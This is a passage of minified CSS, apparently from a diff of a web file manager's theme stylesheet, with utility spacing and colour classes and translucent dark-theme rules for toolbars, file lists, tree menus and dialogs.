x;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} -/* ver 4.25(2017-12-04) [build 1512368390.092] */ \ No newline at end of file +.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 